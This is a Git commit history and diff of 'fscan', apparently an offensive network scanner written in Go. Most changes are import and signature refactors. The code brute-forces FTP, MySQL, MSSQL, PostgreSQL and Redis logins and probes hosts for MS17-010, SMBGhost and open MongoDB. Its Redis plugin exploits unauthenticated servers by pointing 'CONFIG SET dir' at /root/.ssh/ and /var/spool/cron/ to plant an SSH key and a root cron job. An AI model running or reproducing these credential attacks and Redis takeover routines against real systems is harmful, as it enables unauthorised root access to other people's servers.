19 Commits
Author SHA1 Message Date
shadow1ng 2026b5f587 新增shiro识别 2020-11-17 13:23:58 +08:00
shadow1ng ce657e22a9 新增shiro识别 2020-11-17 13:22:49 +08:00
shadow1ng d96b0c0ad0 update 2020-11-17 13:16:05 +08:00
shadow1ng a33ed4cfeb update 2020-11-17 13:15:08 +08:00
影舞者 30c1f267c2 Delete fscan 2020-11-17 11:26:33 +08:00
影舞者 faae9c7870 Merge pull request #4 from v1xingyue/main
如下简单代码修改 方便编译
1.使用 go mod 创建项目
2.使用 import 绝对路径,代替 相对路径
推荐编译命令,生成的文件更小
go build -ldflags="-s -w " -trimpath -gcflags=-trimpath=$GOPATH -asmflags=-trimpath=$GOPATH
2020-11-17 11:25:29 +08:00
v1xingyue 57349aab7b 1. 使用 go mod 创建项目
2. 使用 import 绝对路径,代替 相对路径
2020-11-17 10:35:27 +08:00
shadow1ng 33121ead42 update 2020-11-17 00:27:23 +08:00
shadow1ng 12f9e6ed62 update 2020-11-17 00:22:57 +08:00
shadow1ng 1a8b884d63 update icmp threads 2020-11-16 19:55:11 +08:00
shadow1ng 468c2a0ff9 update icmp threads 2020-11-16 19:55:00 +08:00
shadow1ng f8285de94d update 2020-11-16 13:17:59 +08:00
shadow1ng 8dc8b6e652 update 2020-11-16 09:51:41 +08:00
shadow1ng a1900086d6 update 2020-11-15 23:36:53 +08:00
shadow1ng a829660205 update 2020-11-15 22:21:52 +08:00
shadow1ng 2343fc1cfb update 2020-11-15 22:19:44 +08:00
shadow1ng 43d41844a9 update 2020-11-15 22:19:01 +08:00
shadow1ng cdbd1aebc2 update 2020-11-15 22:17:57 +08:00
shadow1ng 38fc6dd0c3 update 2020-11-14 10:07:44 +08:00
29 changed files with 715 additions and 637 deletions
+5 -4
View File
@@ -1,20 +1,21 @@
package Plugins package Plugins
//Ladon Scanner for golang //Ladon Scanner for golang
//Author: k8gege //Author: k8gege
//K8Blog: http://k8gege.org //K8Blog: http://k8gege.org
//Github: https://github.com/k8gege //Github: https://github.com/k8gege
import ( import (
"../common"
"bytes" "bytes"
"fmt" "fmt"
"net" "net"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
const ( const (
pkt = pkt = "\x00" + // session
"\x00" + // session
"\x00\x00\xc0" + // legth "\x00\x00\xc0" + // legth
"\xfeSMB@\x00" + // protocol "\xfeSMB@\x00" + // protocol
@@ -66,7 +67,6 @@ const (
"\x11\x03" + "\x11\x03" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES // [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5 // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
@@ -99,6 +99,7 @@ const (
"\x00\x00" + "\x00\x00" +
"\x00\x00\x00\x00" "\x00\x00\x00\x00"
) )
func SmbGhost(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) { func SmbGhost(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
SmbGhostScan(info) SmbGhostScan(info)
wg.Done() wg.Done()
+1 -35
View File
@@ -14,39 +14,5 @@ var PluginList = map[string]interface{}{
"27017":MongodbScan, "27017":MongodbScan,
"1000001": MS17010, "1000001": MS17010,
"1000002": SmbGhost, "1000002": SmbGhost,
//"WebTitle":WebTitle, "1000003":WebTitle,
} }
//var Passwords = []string{"admin123A","123456","admin","root","password","123123","123","1","{user}","{user}{user}","{user}1","{user}123","{user}2016","{user}2015","{user}!","","P@ssw0rd!!","qwa123","12345678","test","123qwe!@#","123456789","123321","1314520","666666","woaini","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1q2w3e4r","123qwe","p@ssw0rd","p@55w0rd","password!","p@ssw0rd!","password1","r00t","tomcat","apache","system","huawei","admin123","zte"}
//const Username = "admin"
//const Password = "123456"
//const Timeout = 3 * time.Second
//const FTPPORT = 21
//const SSHPORT = 22
//const MEMCACHEDPORT = 11211
//const MONGODBPORT = 27017
//const MSSQLPORT = 1433
//const OraclePORT = 1433
//const PSQLPORT = 5432
//const REDISPORT = 6379
//const MYSQLPORT = 3306
//const SMBPORT = 445
//const POSTGRESPORT = 5432
//var PluginList = map[string]interface{}{
// "ftp": FtpScan,
// "mysql": MysqlScan,
// //"mongodb":MgoConn,
// "mssql":MssqlScan,
// "redis": RedisScan,
// //"smb": SmbScan,
// "ssh": SshScan,
// //"portscan": PortConn,
// //"icmp": IcmpConn,
// "postgresql": PostgresScan,
// //"urlscan":UrlConn,
// //"auth":ApacheConn,
// //"subdomain":SDConn,
// //"memcached":MemConn,
//}
+2 -19
View File
@@ -1,7 +1,6 @@
package Plugins package Plugins
import ( import (
"../common"
"fmt" "fmt"
"io/ioutil" "io/ioutil"
"net" "net"
@@ -9,6 +8,8 @@ import (
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
func elasticsearchScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) { func elasticsearchScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
@@ -17,7 +18,6 @@ func elasticsearchScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
<-ch <-ch
} }
func geturl2(info *common.HostInfo) (flag bool, err error) { func geturl2(info *common.HostInfo) (flag bool, err error) {
flag = false flag = false
url := fmt.Sprintf("%s:%d/_cat", info.Url, common.PORTList["elastic"]) url := fmt.Sprintf("%s:%d/_cat", info.Url, common.PORTList["elastic"])
@@ -51,21 +51,4 @@ func geturl2(info *common.HostInfo) (flag bool,err error) {
} }
} }
return flag, err return flag, err
//fmt.Print("\n")
} }
//if info.Cookie!=""{
// res.Header.Add("Cookie",info.Cookie)
//}
//if info.Header!=""{
// var header = make(map[string]string)
// err:=json.Unmarshal([]byte(info.Header),&header)
// if err!=nil{
// Misc.CheckErr(err)
// }
// for k,v:=range header{
// res.Header.Add(k,v)
// }
//}
+2 -5
View File
@@ -11,15 +11,15 @@ import (
"fmt" "fmt"
"sync" "sync"
"../common" "github.com/shadow1ng/fscan/common"
) )
var ( var (
buffer_v1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000") buffer_v1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
buffer_v2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500") buffer_v2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
buffer_v3, _ = hex.DecodeString("0900ffff0000") buffer_v3, _ = hex.DecodeString("0900ffff0000")
) )
func Findnet(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) { func Findnet(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
FindnetScan(info) FindnetScan(info)
wg.Done() wg.Done()
@@ -70,9 +70,6 @@ func read(text []byte,host string) {
return return
} }
result += "\n [->]" + string(host) result += "\n [->]" + string(host)
//result += "\n ["+string(host)+"]"
} }
common.LogSuccess(result) common.LogSuccess(result)
} }
+5 -4
View File
@@ -1,12 +1,13 @@
package Plugins package Plugins
import ( import (
"../common"
"github.com/jlaffaye/ftp"
"fmt" "fmt"
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
) )
func FtpScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) { func FtpScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
@@ -14,7 +15,7 @@ func FtpScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
for _, user := range common.Userdict["ftp"] { for _, user := range common.Userdict["ftp"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1) pass = strings.Replace(pass, "{user}", string(user), -1)
flag,err := FtpConn(info,user,pass,ch,wg) flag, err := FtpConn(info, user, pass)
if flag == true && err == nil { if flag == true && err == nil {
break Loop break Loop
} }
@@ -24,7 +25,7 @@ func FtpScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
<-ch <-ch
} }
func FtpConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){ func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, common.PORTList["ftp"], user, pass Host, Port, Username, Password := info.Host, common.PORTList["ftp"], user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second) conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
+12 -14
View File
@@ -71,7 +71,7 @@ func isping(ip string) bool {
buffer.Reset() buffer.Reset()
binary.Write(&buffer, binary.BigEndian, icmp) binary.Write(&buffer, binary.BigEndian, icmp)
Time, _ := time.ParseDuration("2s") Time, _ := time.ParseDuration("3s")
conn, err := net.DialTimeout("ip4:icmp", ip, Time) conn, err := net.DialTimeout("ip4:icmp", ip, Time)
if err != nil { if err != nil {
return false return false
@@ -80,7 +80,7 @@ func isping(ip string) bool {
if err != nil { if err != nil {
return false return false
} }
conn.SetReadDeadline(time.Now().Add(time.Second * 2)) conn.SetReadDeadline(time.Now().Add(time.Second * 3))
num, err := conn.Read(recvBuf) num, err := conn.Read(recvBuf)
if err != nil { if err != nil {
return false return false
@@ -115,11 +115,13 @@ func CheckSum(data []byte) uint16 {
return uint16(^sum) return uint16(^sum)
} }
func IcmpCheck(hostslist []string) { func IcmpCheck(hostslist []string,IcmpThreads int) {
var wg sync.WaitGroup var wg sync.WaitGroup
mutex := &sync.Mutex{} mutex := &sync.Mutex{}
limiter := make(chan int, IcmpThreads)
for _,host :=range hostslist{ for _,host :=range hostslist{
wg.Add(1) wg.Add(1)
limiter <- 1
go func(host string) { go func(host string) {
defer wg.Done() defer wg.Done()
if isping(host){ if isping(host){
@@ -127,11 +129,14 @@ func IcmpCheck(hostslist []string) {
AliveHosts = append(AliveHosts, host) AliveHosts = append(AliveHosts, host)
mutex.Unlock() mutex.Unlock()
} }
<- limiter
}(host) }(host)
} }
wg.Wait() wg.Wait()
} }
func ExecCommandPing(ip string,bsenv string) bool { func ExecCommandPing(ip string,bsenv string) bool {
command := exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" command := exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
outinfo := bytes.Buffer{} outinfo := bytes.Buffer{}
@@ -156,12 +161,6 @@ func PingCMDcheck(hostslist []string,bsenv string) {
var wg sync.WaitGroup var wg sync.WaitGroup
mutex := &sync.Mutex{} mutex := &sync.Mutex{}
limiter := make(chan struct{}, 40) limiter := make(chan struct{}, 40)
//aliveHost := make(chan string, 20)
//go func() {
// for s := range aliveHost {
// fmt.Println(s)
// }
//}()
for _,host :=range hostslist{ for _,host :=range hostslist{
wg.Add(1) wg.Add(1)
limiter <- struct{}{} limiter <- struct{}{}
@@ -177,24 +176,23 @@ func PingCMDcheck(hostslist []string,bsenv string) {
}(host) }(host)
} }
wg.Wait() wg.Wait()
//close(aliveHost)
} }
func ICMPRun(hostslist []string) []string{ func ICMPRun(hostslist []string,IcmpThreads int) []string{
var sysinfo SystemInfo var sysinfo SystemInfo
sysinfo = GetSys() sysinfo = GetSys()
if sysinfo.OS == "windows" { if sysinfo.OS == "windows" {
IcmpCheck(hostslist) IcmpCheck(hostslist,IcmpThreads)
}else if sysinfo.OS == "linux" { }else if sysinfo.OS == "linux" {
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") { if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
IcmpCheck(hostslist) IcmpCheck(hostslist,IcmpThreads)
}else { }else {
PingCMDcheck(hostslist,"/bin/bash") PingCMDcheck(hostslist,"/bin/bash")
} }
}else if sysinfo.OS == "darwin" { }else if sysinfo.OS == "darwin" {
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") { if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
IcmpCheck(hostslist) IcmpCheck(hostslist,IcmpThreads)
}else { }else {
PingCMDcheck(hostslist,"/usr/local/bin/bash") PingCMDcheck(hostslist,"/usr/local/bin/bash")
} }
+2 -1
View File
@@ -1,12 +1,13 @@
package Plugins package Plugins
import ( import (
"../common"
"fmt" "fmt"
"net" "net"
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
func MemcachedScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) (err error, result string) { func MemcachedScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) (err error, result string) {
+6 -4
View File
@@ -1,15 +1,15 @@
package Plugins package Plugins
import ( import (
"../common"
"fmt" "fmt"
_ "github.com/denisenkom/go-mssqldb"
"net" "net"
"strings" "strings"
"sync" "sync"
"time" "time"
)
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
)
func MongodbScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) { func MongodbScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
MongodbUnauth(info) MongodbUnauth(info)
@@ -23,7 +23,9 @@ func MongodbUnauth(info *common.HostInfo) (flag bool,err error) {
getlog_data := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0} getlog_data := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mgo"]) realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mgo"])
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second) conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil{return} if err != nil {
return
}
defer conn.Close() defer conn.Close()
conn.Write(send_data) conn.Write(send_data)
buf := make([]byte, 1024) buf := make([]byte, 1024)
+4 -3
View File
@@ -8,8 +8,10 @@ import (
//"flag" //"flag"
"fmt" "fmt"
"net" "net"
"../common"
"strings" "strings"
"github.com/shadow1ng/fscan/common"
//"sync" //"sync"
"time" "time"
) )
@@ -131,9 +133,8 @@ func MS17010Scan(info *common.HostInfo) {
} }
} else { } else {
result := fmt.Sprintf("%s\t \t(%s)\n", ip, os) result := fmt.Sprintf("%s (%s)", ip, os)
common.LogSuccess(result) common.LogSuccess(result)
} }
} }
+4 -8
View File
@@ -1,24 +1,21 @@
package Plugins package Plugins
import ( import (
"../common"
"database/sql" "database/sql"
"fmt" "fmt"
_ "github.com/denisenkom/go-mssqldb" _ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"strings" "strings"
"sync" "sync"
"time" "time"
) )
func MssqlScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) { func MssqlScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
Loop: Loop:
for _, user := range common.Userdict["mssql"] { for _, user := range common.Userdict["mssql"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1) pass = strings.Replace(pass, "{user}", user, -1)
flag,err := MssqlConn(info,user,pass,ch,wg) flag, err := MssqlConn(info, user, pass)
if flag == true && err == nil { if flag == true && err == nil {
break Loop break Loop
} }
@@ -28,7 +25,7 @@ Loop:
<-ch <-ch
} }
func MssqlConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){ func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, common.PORTList["mssql"], user, pass Host, Port, Username, Password := info.Host, common.PORTList["mssql"], user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second) dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
@@ -45,4 +42,3 @@ func MssqlConn(info *common.HostInfo,user string,pass string,ch chan int,wg *syn
} }
return flag, err return flag, err
} }
+6 -7
View File
@@ -1,23 +1,22 @@
package Plugins package Plugins
import ( import (
"../common"
"database/sql" "database/sql"
"fmt" "fmt"
_ "github.com/go-sql-driver/mysql"
"strings" "strings"
"sync" "sync"
"time" "time"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common"
) )
func MysqlScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) { func MysqlScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
Loop: Loop:
for _, user := range common.Userdict["mysql"] { for _, user := range common.Userdict["mysql"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1) pass = strings.Replace(pass, "{user}", user, -1)
flag,err := MysqlConn(info,user,pass,ch,wg) flag, err := MysqlConn(info, user, pass)
if flag == true && err == nil { if flag == true && err == nil {
break Loop break Loop
} }
@@ -27,7 +26,7 @@ Loop:
<-ch <-ch
} }
func MysqlConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){ func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, common.PORTList["mysql"], user, pass Host, Port, Username, Password := info.Host, common.PORTList["mysql"], user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host, Port, "mysql") dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host, Port, "mysql")
+11 -11
View File
@@ -2,13 +2,13 @@ package Plugins
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"net" "net"
"sort" "sort"
"strconv" "strconv"
"strings" "strings"
"sync" "sync"
"time" "time"
"../common"
) )
func ParsePort(ports string) []int { func ParsePort(ports string) []int {
@@ -91,28 +91,28 @@ func TCPportScan(hostslist []string,ports string,model string,timeout int) ([]s
var aliveHosts []string var aliveHosts []string
probePorts := ParsePort(ports) probePorts := ParsePort(ports)
lm := 20 lm := 20
if (len(hostslist)>5 && len(hostslist)<=50) { if len(hostslist) > 5 && len(hostslist) <= 50 {
lm = 40 lm = 40
}else if(len(hostslist)>50 && len(hostslist)<=100){ } else if len(hostslist) > 50 && len(hostslist) <= 100 {
lm = 50 lm = 50
}else if(len(hostslist)>100 && len(hostslist)<=150){ } else if len(hostslist) > 100 && len(hostslist) <= 150 {
lm = 60 lm = 60
}else if(len(hostslist)>150 && len(hostslist)<=200){ } else if len(hostslist) > 150 && len(hostslist) <= 200 {
lm = 70 lm = 70
}else if(len(hostslist)>200){ } else if len(hostslist) > 200 {
lm = 75 lm = 75
} }
thread := 5 thread := 5
if (len(probePorts)>500 && len(probePorts)<=4000) { if len(probePorts) > 500 && len(probePorts) <= 4000 {
thread = len(probePorts) / 100 thread = len(probePorts) / 100
}else if (len(probePorts)>4000 && len(probePorts)<=6000) { } else if len(probePorts) > 4000 && len(probePorts) <= 6000 {
thread = len(probePorts) / 200 thread = len(probePorts) / 200
}else if (len(probePorts)>6000 && len(probePorts)<=10000) { } else if len(probePorts) > 6000 && len(probePorts) <= 10000 {
thread = len(probePorts) / 350 thread = len(probePorts) / 350
}else if (len(probePorts)>10000 && len(probePorts)<50000){ } else if len(probePorts) > 10000 && len(probePorts) < 50000 {
thread = len(probePorts) / 400 thread = len(probePorts) / 400
}else if (len(probePorts)>=50000 && len(probePorts)<=65535){ } else if len(probePorts) >= 50000 && len(probePorts) <= 65535 {
thread = len(probePorts) / 500 thread = len(probePorts) / 500
} }
+5 -6
View File
@@ -1,13 +1,14 @@
package Plugins package Plugins
import ( import (
"../common"
"database/sql" "database/sql"
"fmt" "fmt"
_ "github.com/lib/pq"
"strings" "strings"
"sync" "sync"
"time" "time"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/common"
) )
func PostgresScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) { func PostgresScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
@@ -15,7 +16,7 @@ Loop:
for _, user := range common.Userdict["postgresql"] { for _, user := range common.Userdict["postgresql"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1) pass = strings.Replace(pass, "{user}", string(user), -1)
flag,err := PostgresConn(info,user,pass,ch,wg) flag, err := PostgresConn(info, user, pass)
if flag == true && err == nil { if flag == true && err == nil {
break Loop break Loop
} }
@@ -25,7 +26,7 @@ Loop:
<-ch <-ch
} }
func PostgresConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){ func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, common.PORTList["psql"], user, pass Host, Port, Username, Password := info.Host, common.PORTList["psql"], user, pass
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable") dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
@@ -42,5 +43,3 @@ func PostgresConn(info *common.HostInfo,user string,pass string,ch chan int,wg *
} }
return flag, err return flag, err
} }
+12 -17
View File
@@ -1,9 +1,9 @@
package Plugins package Plugins
import ( import (
"../common"
"bufio" "bufio"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"net" "net"
"os" "os"
"strings" "strings"
@@ -22,7 +22,7 @@ func RedisScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
Loop: Loop:
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string("redis"), -1) pass = strings.Replace(pass, "{user}", string("redis"), -1)
flag,err := RedisConn(info,pass,ch,wg) flag, err := RedisConn(info, pass)
if flag == true && err == nil { if flag == true && err == nil {
break Loop break Loop
} }
@@ -31,7 +31,7 @@ Loop:
<-ch <-ch
} }
func RedisConn(info *common.HostInfo,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
flag = false flag = false
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"]) realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second) conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
@@ -41,7 +41,6 @@ func RedisConn(info *common.HostInfo,pass string,ch chan int,wg *sync.WaitGroup)
defer conn.Close() defer conn.Close()
conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))) conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
reply, err := readreply(conn) reply, err := readreply(conn)
//common.LogSuccess(result)
if strings.Contains(reply, "+OK") { if strings.Contains(reply, "+OK") {
result := fmt.Sprintf("Redis:%s %s", realhost, pass) result := fmt.Sprintf("Redis:%s %s", realhost, pass)
common.LogSuccess(result) common.LogSuccess(result)
@@ -52,7 +51,6 @@ func RedisConn(info *common.HostInfo,pass string,ch chan int,wg *sync.WaitGroup)
return flag, err return flag, err
} }
func RedisUnauth(info *common.HostInfo) (flag bool, err error) { func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false flag = false
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"]) realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
@@ -82,7 +80,7 @@ func Expoilt(info *common.HostInfo,realhost string,conn net.Conn) {
result := fmt.Sprintf("%v SSH public key was written successfully", realhost) result := fmt.Sprintf("%v SSH public key was written successfully", realhost)
common.LogSuccess(result) common.LogSuccess(result)
} else { } else {
fmt.Println(realhost,"SSHPUB write failed",text) fmt.Println("Redis:", realhost, "SSHPUB write failed", text)
} }
} }
} }
@@ -95,13 +93,12 @@ func Expoilt(info *common.HostInfo,realhost string,conn net.Conn) {
result := fmt.Sprintf("%v /var/spool/cron/root was written successfully", realhost) result := fmt.Sprintf("%v /var/spool/cron/root was written successfully", realhost)
common.LogSuccess(result) common.LogSuccess(result)
} else { } else {
fmt.Println(realhost,"cron write failed",text) fmt.Println("Redis:", realhost, "cron write failed", text)
} }
} }
} }
} }
func writekey(conn net.Conn, filename string) (flag bool, text string) { func writekey(conn net.Conn, filename string) (flag bool, text string) {
flag = false flag = false
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
@@ -122,14 +119,13 @@ func writekey(conn net.Conn,filename string) (flag bool,text string) {
} }
} }
} }
text = strings.TrimSpace(text)
if len(text) > 50 { if len(text) > 50 {
text = text[:50] text = text[:50]
} }
return flag, text return flag, text
} }
func writecron(conn net.Conn, host string) (flag bool, text string) { func writecron(conn net.Conn, host string) (flag bool, text string) {
flag = false flag = false
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
@@ -146,10 +142,11 @@ func writecron(conn net.Conn,host string) (flag bool,text string) {
text, _ = readreply(conn) text, _ = readreply(conn)
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
flag = true flag = true
} } //else {fmt.Println(text)}
} } //else {fmt.Println(text)}
} } //else {fmt.Println(text)}
} } //else {fmt.Println(text)}
text = strings.TrimSpace(text)
if len(text) > 50 { if len(text) > 50 {
text = text[:50] text = text[:50]
} }
@@ -164,10 +161,8 @@ func Readfile(filename string)(string,error){
} }
defer file.Close() defer file.Close()
scanner := bufio.NewScanner(file) scanner := bufio.NewScanner(file)
//scanner.Split(bufio.ScanLines)
for scanner.Scan() { for scanner.Scan() {
//text := strings.TrimSpace(scanner.Text()) text := strings.TrimSpace(scanner.Text())
text := scanner.Text()
if text != "" { if text != "" {
return text, nil return text, nil
} }
+19 -20
View File
@@ -1,21 +1,22 @@
package Plugins package Plugins
import ( import (
"../common"
"errors" "errors"
"fmt" "fmt"
"reflect" "reflect"
"strconv" "strconv"
"strings" "strings"
"sync" "sync"
"github.com/shadow1ng/fscan/common"
) )
func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) { func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
f := reflect.ValueOf(m[name]) f := reflect.ValueOf(m[name])
if len(infos) != f.Type().NumIn() { if len(infos) != f.Type().NumIn() {
err = errors.New("The number of infos is not adapted.") err = errors.New("The number of infos is not adapted.")
if err != nil { if err != nil {
fmt.Println(err.Error()) fmt.Println(err.Error())
// //os.Exit(0)
} }
} }
in := make([]reflect.Value, len(infos)) in := make([]reflect.Value, len(infos))
@@ -34,17 +35,19 @@ func IsContain(items []string, item string) bool {
return false return false
} }
func Scan(info *common.HostInfo) { func Scan(info common.HostInfo) {
Hosts,_ := common.ParseIP(info.Host) fmt.Println("scan start")
Hosts, _ := common.ParseIP(info.Host, info.HostFile)
if info.Isping == false { if info.Isping == false {
Hosts = ICMPRun(Hosts) Hosts = ICMPRun(Hosts, info.IcmpThreads)
fmt.Println("icmp alive hosts len is:", len(Hosts))
} }
_, AlivePorts := TCPportScan(Hosts, info.Ports, "icmp", 3) //return AliveHosts,AlivePorts _, AlivePorts := TCPportScan(Hosts, info.Ports, "icmp", 3) //return AliveHosts,AlivePorts
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"} var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList { for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port)) severports = append(severports, strconv.Itoa(port))
} }
severports1 := []string{"1521"} severports1 := []string{"1521"} //no scan these service
var ch = make(chan int, info.Threads) var ch = make(chan int, info.Threads)
var wg = sync.WaitGroup{} var wg = sync.WaitGroup{}
var scantype string var scantype string
@@ -53,35 +56,31 @@ func Scan(info *common.HostInfo) {
info.Host = scan_ip info.Host = scan_ip
if info.Scantype == "all" { if info.Scantype == "all" {
if IsContain(severports, scan_port) { if IsContain(severports, scan_port) {
//scantype = scan_port
